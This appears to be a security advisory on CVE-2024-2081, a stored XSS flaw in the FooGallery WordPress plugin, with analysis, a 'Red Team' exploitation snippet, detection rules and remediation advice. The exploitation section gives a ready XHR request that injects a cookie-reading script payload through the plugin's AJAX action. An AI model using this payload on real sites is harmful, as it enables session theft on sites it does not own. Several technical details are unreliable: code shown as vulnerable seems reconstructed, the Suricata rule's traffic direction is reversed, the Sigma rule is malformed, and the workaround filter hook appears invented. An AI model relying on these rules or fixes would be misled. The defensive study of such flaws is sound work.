CVE-2024-2081

Executive Summary

CVE-2024-2081 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooGallery WordPress plugin, affecting all versions up to and including 2.4.14. The flaw resides in the foogallery_attachment_modal_save AJAX action, where insufficient input sanitization and output escaping allow authenticated attackers with Author-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in multi-author WordPress environments, as it enables lateral movement from a compromised author account to full site takeover. The EPSS score of 0.0% indicates low exploitation likelihood currently, but the lack of a patch increases risk over time.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The FooGallery plugin is distributed via the official WordPress Plugin Directory. Users should monitor for updates and consider temporary deactivation if the plugin is not critical.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and site compromise in a WordPress context elevates the risk.

Deep Dive & Mechanics

The vulnerability is triggered via the foogallery_attachment_modal_save AJAX action, which is intended to handle attachment metadata updates from the media modal. The plugin fails to properly sanitize user-supplied input (e.g., caption, alt text, description) before storing it in the database. Additionally, when this data is later rendered on a gallery page, it is not escaped, allowing HTML/JavaScript injection.

Attack Flow:

1. An authenticated user with Author-level privileges crafts a malicious payload (e.g., <script>alert('XSS')</script>) in an attachment field.
2. The payload is sent via AJAX to foogallery_attachment_modal_save.
3. The plugin stores the unsanitized payload in the wp_postmeta table.
4. When a gallery page is rendered, the payload is output without escaping, executing in the browser of any visitor.

Root Cause: The foogallery_attachment_modal_save function uses update_post_meta without calling sanitize_text_field() or wp_kses_post() on the input, and the output in gallery templates uses echo instead of esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (foogallery/includes/class-foogallery-attachment-modal.php):

function foogallery_attachment_modal_save() {
    $attachment_id = intval($_POST['id']);
    $meta_key = sanitize_key($_POST['meta_key']);
    $meta_value = $_POST['meta_value']; // No sanitization!
    update_post_meta($attachment_id, $meta_key, $meta_value);
    wp_die();
}

Patched Code (Hypothetical fix):

function foogallery_attachment_modal_save() {
    $attachment_id = intval($_POST['id']);
    $meta_key = sanitize_key($_POST['meta_key']);
    $meta_value = sanitize_text_field($_POST['meta_value']); // Sanitized
    update_post_meta($attachment_id, $meta_key, $meta_value);
    wp_die();
}

Additionally, output in gallery templates should use esc_html() or esc_attr():

// Vulnerable
echo $meta_value;
// Patched
echo esc_html($meta_value);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with FooGallery <= 2.4.14
• Author-level account credentials

Step 1: Identify the AJAX endpoint The action is foogallery_attachment_modal_save. The nonce can be obtained from the page source or by inspecting network requests.

Step 2: Craft the payload

// Example payload for XSS
var xhr = new XMLHttpRequest();
var url = '/wp-admin/admin-ajax.php';
var params = 'action=foogallery_attachment_modal_save&id=123&meta_key=caption&meta_value=<script>alert(document.cookie)</script>&_ajax_nonce=YOUR_NONCE';
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);

Step 3: Trigger execution Visit any gallery page that displays the attachment's caption. The script executes.

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=foogallery_attachment_modal_save and suspicious meta_value parameters.
• Look for unusual JavaScript in attachment meta fields (e.g., wp_postmeta table).

Hardening:

• Apply input validation and output escaping as shown in the patched code.
• Restrict Author-level users from editing attachment metadata if not required.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=foogallery_attachment_modal_save and meta_value containing <script> tags.
• File: Modified wp_postmeta table entries where meta_value contains JavaScript.
• Log: WordPress debug log entries showing unexpected attachment meta updates.
• Behavior: Unauthorized cookie exfiltration or redirection to malicious sites.

Detection Engineering

YARA Rule

rule CVE_2024_2081_FooGallery_XSS {
    meta:
        description = "Detects stored XSS payloads in FooGallery attachment meta"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2081"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $foogallery_action = "foogallery_attachment_modal_save"
    condition:
        $foogallery_action and $xss_payload
}

Sigma Rule

title: FooGallery Stored XSS via Attachment Modal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-2081
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'action=foogallery_attachment_modal_save'
        cs-uri-query|contains: 'meta_value='
    condition: selection
falsepositives:
    - Legitimate attachment metadata updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2081 FooGallery Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=foogallery_attachment_modal_save"; http_client_body;
    content:"meta_value="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is released.
2. Restrict Author-level permissions – remove the ability to edit attachment metadata.
3. Apply virtual patching via WAF rules to block XSS payloads in AJAX requests.

Long-term Fix:

• The vendor must release a patched version (>= 2.4.15) that sanitizes input and escapes output.
• Users should update to the latest version as soon as it becomes available.

Workaround:

• Add the following code to the theme's functions.php to sanitize the input:

add_filter('foogallery_attachment_modal_save_meta_value', 'sanitize_text_field');

Valters IT
Securing Digital Frontiers